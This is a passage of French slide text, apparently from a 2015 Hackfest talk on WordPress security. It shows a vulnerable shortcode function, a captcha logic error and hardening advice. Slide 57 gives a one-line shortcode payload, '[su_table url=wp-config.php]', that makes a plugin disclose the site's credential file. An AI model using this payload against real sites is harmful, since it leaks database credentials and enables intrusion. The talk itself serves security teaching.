  57. 57. Ou encore plus simple…. public static function table( $atts = null, $content = null ) { $atts = shortcode_atts( array( 'url' => false, 'class' => '' ), $atts, 'table' ); $return = '<div class="su-table' . su_ecssc( $atts ) . '">'; $return .= ( $atts['url'] ) ? su_parse_csv( $atts['url'] ) : do_shortcode( $content ); $return .= '</div>'; su_query_asset( 'css', 'su-content-shortcodes' ); su_query_asset( 'js', 'jquery' ); su_query_asset( 'js', 'su-other-shortcodes' ); return $return; } [su_table url=wp-config.php]  W00t (C) 2015 Francois Harvey / http://francoisharvey.ca 57
  58. 58. Vérification des post type (C) 2015 Francois Harvey / http://francoisharvey.ca 58
  59. 59. Vérification des permissions et rôles (C) 2015 Francois Harvey / http://francoisharvey.ca 59
  60. 60. Manque de restrictions (C) 2015 Francois Harvey / http://francoisharvey.ca 60
  61. 61. Attention au erreur de logique $validated = true; if(pexeto_option('captcha')==true && !(isset($_POST['widget']) && $_POST['widget']=='true')){ //CAPTCHA VALIDATION } if($validated){ if(isset($_POST['name']) && $_POST['name'] && isset($_POST['email']) && $_POST['email'] && isset($_POST['question']) && $_POST['question']){ (C) 2015 Francois Harvey / http://francoisharvey.ca 61
  62. 62. Protection (C) 2015 Francois Harvey / http://francoisharvey.ca 62
  63. 63. Une plugin de sécurité n’est pas une option • Les plugins de sécurité Wordpress ne peuvent pas faire plus que Wordpress le permet • La sécurité doit être externe au Wordpress • Les modules doivent être limité à la prévention des attaques (C) 2015 Francois Harvey / http://francoisharvey.ca 63
  64. 64. Diminuer la visibilité • Supprimer le readme.html • Masquer la version remove_action('wp_head', 'wp_generator'); • Désactiver l’indexation du répertoire • Ajuster robots.txt User-agent: * Disallow: /wp-* Allow: /wp-content/uploads/ (C) 2015 Francois Harvey / http://francoisharvey.ca 64
  65. 65. Mise à jour • Mise à jour du core de Wordpress • Mise à jour des plugins • Supprimer toutes plugins non utilisées (C) 2015 Francois Harvey / http://francoisharvey.ca 65
  66. 66. Protection contre le brute force Pour l’énumération RewriteCond %{REQUEST_URI} ^/$ RewriteCond %{QUERY_STRING} ^/?author=([0-9]*) RewriteRule ^(.*)$ http://votre_site/ [L,R=301] Utiliser fail2ban ou une approche similaire : Bloquer au niveau du firewall (C) 2015 Francois Harvey / http://francoisharvey.ca 66
  67. 67. Utiliser des mécanismes de sécurité externe • Utilisation d’un WAF externe Par contre, plusieurs vulnérabilités ne seront pas intercepté • Utilisation de Deep Security • Utilisation d’antivirus et CXS http://configserver.com/cp/cxs.html (C) 2015 Francois Harvey / http://francoisharvey.ca 67
  68. 68. Auditer thème et plugins • Auditer les plugins que vous utilisez • Limiter le nombre de plugin à seulement ceux nécessaires • Limiter les utilisateurs Wordpress à ceux nécessaires (C) 2015 Francois Harvey / http://francoisharvey.ca 68
  69. 69. Conclusion • Wordpress doit être traité comme un système d’information. • Ce n’est pas un système auto gérée • L’image de sécurité de Wordpress est pas toujours très bonne (souvent avec raison), miais progressivement la plate-forme évolue • Merci pour votre presence et à l’organisation du hackfest (C) 2015 Francois Harvey / http://francoisharvey.ca 69
  70. 70. Question et réponses • Je serai disponible après la conférence pour répondre à vos questions (C) 2015 Francois Harvey / http://francoisharvey.ca 70
  71. 71. Contact • Blog (mouais, il est en Wordpress) http://francoisharvey.ca/ • Linked-in http://ca.linkedin.com/in/francoisharvey (C) 2015 Francois Harvey / http://francoisharvey.ca 71

×